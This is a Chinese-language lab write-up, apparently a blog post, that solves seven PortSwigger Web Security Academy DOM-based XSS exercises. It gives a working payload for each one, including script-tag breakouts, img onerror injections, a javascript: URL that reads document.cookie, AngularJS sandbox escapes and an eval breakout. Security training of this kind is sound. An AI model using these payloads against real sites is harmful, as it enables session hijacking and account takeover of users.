Portswigger web security academy:DOM Based XSS
Portswigger web security academy:DOM Based XSS
- Portswigger web security academy:DOM Based XSS
- DOM XSS in document.write sink using source location.search
- DOM XSS in document.write sink using source location.search inside a select element
- DOM XSS in innerHTML sink using source location.search
- DOM XSS in jQuery anchor href attribute sink using location.search source
- DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
- Reflected DOM XSS
- Stored DOM XSS
DOM XSS in document.write sink using source location.search
题目描述
搜索功能点调用了
document.write函数,借此函数调用alert解题步骤

看着语句写payload
asd"><script>alert()</script><"
DOM XSS in document.write sink using source location.search inside a select element
题目描述
使用
document.write调用alert,document.write会从location.search获取参数,且参数可控,但参数被select element包围了解题步骤

可以看到这里的
storeId是从URL获取的,而且被<option></option>包围构造payload:
&storeId=<script>alert()</script>
DOM XSS in innerHTML sink using source location.search
题目描述
这道题的搜索功能点会使用
innerHTML来修改一个div标签,参数取自location.search,调用alert即可解题过程

可以看到这里把url里的
search参数写到了HTML里构造payload:
search=<img+src=x+onerror=alert()>
DOM XSS in jQuery anchor href attribute sink using location.search source
题目描述
在提交反馈的页面里用到了
jQuery来修改一个锚的属性,参数取自location.search,要求alert(document.cookie)解题步骤

这里和题目描述一样
构造payload:
returnPath=javascript:alert(document.cookie)
DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
题目描述
这道题用到了
AngularJS,涉及到一个知识点当标签有
ng-app属性时,会运行花括号里的代码,<x ng-app="">{{alert()}}</x>要求运行一个``AngularJS
的表达式调用alert`解题步骤
看了两篇AngularJS xss的介绍,里面有两个payload,可行,原理都一样,建议看第一个参考链接的介绍
payload:
{{constructor.constructor('alert(1)')()}}{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}官方solution的payload:
{{$on.constructor('alert(1)')()}}参考
Reflected DOM XSS
题目描述
和题目的意思一样,这是个反射型+DOM型的xss
调用
alert函数即可解题过程
在搜索功能点发现了
eval函数关键代码
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", "/search-results" + window.location.search);
xhr.send();
这里涉及一个知识点:
eval('xxx'+alert())也会弹窗返回值格式为:
{"searchTerm":"xxx","results":[]},但是添加引号会被后台转义(添加\)构造payload:
\"+alert()}//(减号也可以)
\"-alert()}//
Stored DOM XSS
题目描述
评论功能点有存储型dom-xss,调用
alert函数即可解题过程
关键代码
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
注意这里的
escapeHTML函数的定义,使用了replace函数,js的replace函数有个特性,只会替换最开始出现的一个字符,所以构造payload:
<><img src=x onerror=alert()>
Portswigger web security academy:DOM Based XSS的更多相关文章
- Portswigger web security academy:Stored XSS
Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
随机推荐
- 关于个Base64,MD5,16进制的转换
1,待签名数据以UTF-8的格式转字节流,对字节流进行MD5算法得到的签名字节流,再转换为16进制字符串,即生成了数字签名. byte[] targetData = md5.ComputeHash(S ...
- redis过期key监听事件
目录 redis安装 docker拉取 启动 redis 配置 命令监听 问题 程序监听 具体监听类 效果 总结 redis常用语缓存操作,但是redis功能不仅仅于此.今天我们来看看redis的ke ...
- Django分页器组建
class Pagination(object): def __init__(self,current_page,all_count,per_page_num=2,pager_count=11): & ...
- windbg安装pykd记录
https://githomelab.ru/pykd/pykd 1.安装python (坑,分x86和x64,对应windbg版本) 2.安装pykd:'pip install pykd' 3.安 ...
- Android学习中出现的问题
•问题1:多行文字如何实现跑马灯效果? 博客链接:Androidd Studio 之多行文字跑马灯特效 解决状态:已解决 •问题2:cause: unable to find valid certif ...
- K8S 本地 配置 Local PV 实践
上面我们创建了后端是 hostPath 类型的 PV 资源对象,我们也提到了,使用 hostPath 有一个局限性就是,我们的 Pod 不能随便漂移,需要固定到一个节点上,因为一旦漂移到其他节点上去了 ...
- 使用 nodejs 中的 http 模块实现几个超实用的工具
nodejs 方便了我们前端开发者进行一些服务端上的操作,可以进行无缝地衔接.像其他一些后端语言,如 php, golang, java 等,都需要一定的学习成本,而 nodejs 则就是为前端开发者 ...
- java面试一日一题:请讲下对mysql的理解
问题:请讲下对mysql的理解 分析:该问题主要考察对mysql的理解,基本概念及sql的执行流程 回答要点: 主要从以下几点去考虑, 1.mysql的整体架构? 2.mysql中每一个组件的作用? ...
- Window下Python+CUDA+PyTorch安装
1 概述 Windows下Python+CUDA+PyTorch安装,步骤都很详细,特此记录下来,帮助读者少走弯路. 2 Python Python的安装还是比较简单的,从官网下载exe安装包即可: ...
- 《C标准库》学习笔记整理
简介 <C标准库>书中对 C 标准库中的 15 个头文件的内容进行了详细的介绍,包括各头文件设计的背景知识.头文件中的内容.头文件中定义的函数和变量的使用.实现.测试等. 我学习此书的目的 ...